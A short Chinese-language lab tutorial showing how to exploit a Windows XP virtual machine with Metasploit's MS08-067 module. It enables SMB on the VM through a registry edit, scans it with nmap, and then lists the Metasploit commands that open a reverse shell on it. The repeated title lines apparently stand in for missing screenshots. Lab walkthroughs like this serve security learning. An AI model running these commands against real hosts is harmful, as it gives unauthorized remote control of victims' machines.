Metasploit攻击xp,windows/smb/ms08_067_netapi

第一步 安装XP虚拟机

这里用的系统版本如下

Metasploit攻击xp,windows/smb/ms08_067_netapi

然后用nmap扫描XP系统的ip地址发现,扫不出来445端口,也就不用metasploit进行攻击

所以先对XP设置一下

编辑注册表HKEY_LOCAL_MACHINE=>SYSTEM=>CurrentControlSet=>Services=>NetBT=>Parameters

在Parameters上右键新建DWORD值,数值为1,重命名为SMBDeviceEnabled

Metasploit攻击xp,windows/smb/ms08_067_netapi

然后重启设备,再用nmap去扫描就可以发现,可以扫到445端口了

Metasploit攻击xp,windows/smb/ms08_067_netapi

第二步 使用metasploit对XP发起攻击

1 开启metasploit

Metasploit攻击xp,windows/smb/ms08_067_netapi

2 选择攻击模块 exploit/windows/smb/ms08_067_netapi

Metasploit攻击xp,windows/smb/ms08_067_netapi

3 查看参数 show options

Metasploit攻击xp,windows/smb/ms08_067_netapi

4 设置目标主机 set rhosts 172.16.5.9

Metasploit攻击xp,windows/smb/ms08_067_netapi

5 设置target: set target 34

Metasploit攻击xp,windows/smb/ms08_067_netapi

6 设置payload:set payload windows/shell_reverse_tcp

Metasploit攻击xp,windows/smb/ms08_067_netapi

7 查看设置完成的参数

Metasploit攻击xp,windows/smb/ms08_067_netapi

8 执行攻击 exploit

Metasploit攻击xp,windows/smb/ms08_067_netapi

到此,攻击成功!